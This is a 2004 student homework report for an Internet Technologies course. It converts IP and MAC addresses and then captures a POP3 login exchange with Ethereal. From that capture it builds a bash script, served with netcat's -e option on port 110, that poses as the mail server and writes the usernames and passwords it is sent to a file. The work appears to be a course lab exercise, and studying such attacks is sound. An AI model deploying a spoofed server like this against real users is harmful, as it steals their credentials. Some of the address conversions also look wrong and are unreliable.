Sam Heller
Internet Technologies
Jim Mahoney
Matt Dailey
9/27/04

Homework #1

Exploration :

I got the IP and MAC addresses of the internal marlboro.edu pop3 mailserver and my own windows box (Mephisto).

HOST	Dotted Not.	Base 10 Not.
Mephisto	10.1.4.152	167,838,872
MailServer	10.1.2.5	167,838,213

These two IP addresses have the same first two fields in dotted notation, and the only difference between them when in Base 10 is the last 3 digits of each.

HOST	Hex Notation	Base 10 Not.
Mephisto	00:40:CA:56:53:07	27 82 72 56 19 27
Mailserver	00:0B:DB:90:F9:F9	50 92 83 51 73 7

There isn't really any similarity between these two numbers. Because they're assigned by their respective manufacturers, which are different, they are completely different ranges. The big difference that struck me between the two was the fact that the mailservers Base 10 is 1 digit less then Mephistos. I'm not quite sure if I screwed up the translation or what, but thats what I'm getting.

For Part Two I'm using ethereal on Mephisto and a combination of NetCat and a bash script to build a fake POP3 server to steal passwords.

Step 1 was to snoop on a conversation between mephisto and the mailserver using ethereal. Below is the conversation I retrieved. The client (mephisto) queries are in black and the mailserver responses are in red.

```
+OK dovecot ready.
CAPA
+OK
CAPA
TOP
USER
UIDL
RESP-CODES
STLS
SASL PLAIN
.
USER sheller
+OK
PASS ~~PASSWORD_GIVEN_HERE~~
+OK Logged in.
STAT
+OK 457 8543526
UIDL
+OK
1 1062391830.1485
```

```
2 1062391830.1486
3 1062391830.1487
4 1062391830.1489
...
457 1062391830.2113
.
RETR 457
+OK 1231 octets
Return-Path: <sheller@marlboro.edu>
Delivered-To: sheller@marlboro.edu
Received: from mute.marlboro.edu (mute.marlboro.edu [10.1.2.14])
        by akbar.marlboro.edu (Postfix) with ESMTP id 364B61FD22
        for <sheller@marlboro.edu>; Sat,  2 Oct 2004 14:40:57 -0400 (EDT)
Received: from mdhcp153.marlboro.edu ([10.1.4.153] helo=mephisto.marlboro.edu)
        by mute.marlboro.edu with esmtp (Exim 3.35 #1 (Debian))
        id 1CDooP-0003OS-00
        for <sheller@marlboro.edu>; Sat, 02 Oct 2004 14:40:53 -0400
To: sheller@marlboro.edu
Subject: FOO
From: Sam <sheller@marlboro.edu>
Organization: Faitaccompli Productions
Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Date: Sat, 02 Oct 2004 14:38:39 -0400
Message-ID: <opse892ppu883p6z@mephisto.marlboro.edu>
User-Agent: Opera M2/7.54 (Win32, build 3869)
X-Marlboro-MailScanner: clean
X-Marlboro-SpamCheck: not spam, SpamAssassin (score=0.423, required 7,
        autolearn=not spam, AWL 0.42, BAYES_00 0.00)
X-MailScanner-From: sheller@marlboro.edu
Status: O
X-UID: 2109
Content-Length: 12
X-Keywords:

FO FO FO FO
.
QUIT
+OK Logging out.
```

From this I was able to build a Bash script that would emulate this conversation for the purpose of harvesting a password.

```
#!/bin/sh
echo +OK dovecot ready.
read ONE
echo +OK
echo CAPA
echo TOP
echo USER
echo UIDL
echo RESP-CODES
echo STLS
echo SASL PLAIN
echo .
read USER
echo "$USER" >> passwords.txt
echo +OK
read PASS
echo "$PASS" >> passwords.txt
echo +OK Logged in.
read TWO
echo +OK 1 1231
read THREE
echo 1 1062391830.1485
echo .
read FOUR
echo "+OK 1231 octets
Return-Path: <sheller@marlboro.edu>
Delivered-To: sheller@marlboro.edu
Received: from mute.marlboro.edu (mute.marlboro.edu [10.1.2.14])
        by akbar.marlboro.edu (Postfix) with ESMTP id 364B61FD22
        for <sheller@marlboro.edu>; Sat,  2 Oct 2004 14:40:57 -0400 (EDT)
Received: from mdhcp153.marlboro.edu ([10.1.4.153] helo=mephisto.marlboro.edu)
        by mute.marlboro.edu with esmtp (Exim 3.35 #1 (Debian))
        id 1CDooP-0003OS-00
        for <sheller@marlboro.edu>; Sat, 02 Oct 2004 14:40:53 -0400
To: sheller@marlboro.edu
Subject: FOO
From: Sam <sheller@marlboro.edu>
Organization: Faitaccompli Productions
Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Date: Sat, 02 Oct 2004 14:38:39 -0400
Message-ID: <opse892ppu883p6z@mephisto.marlboro.edu>
User-Agent: Opera M2/7.54 (Win32, build 3869)
X-Marlboro-MailScanner: clean
X-Marlboro-SpamCheck: not spam, SpamAssassin (score=0.423, required 7,
        autolearn=not spam, AWL 0.42, BAYES_00 0.00)
X-MailScanner-From: sheller@marlboro.edu
Status: O
X-UID: 2109
Content-Length: 12
X-Keywords:

FO FO FO FO
."
read FIVE
echo +OK Logging Out.
```

Now all I have to do is use netcat to bind the program to port 110 on my linux box (Narcisuss) and I have a fake POP server ready to harvest usernames and passwords.

`bash-2.05# nc-l -p 110 -e server.sh` (Set up the Server)

at this point you can telnet to narcissus at port 110 and get an imitation of the server dialouge I captured. Unfortunately I wasn’t able to actually get a mail client to talk to the script, but after reading over the pop3 rfc’s I realized I would have to code an entire pop3 server from scratch, which really wasn’t something I wanted to do. I'm going to try and work on an alternate schema which bridges between the real mailserver and the client for a little bit longer to see if I can at least get the concept working.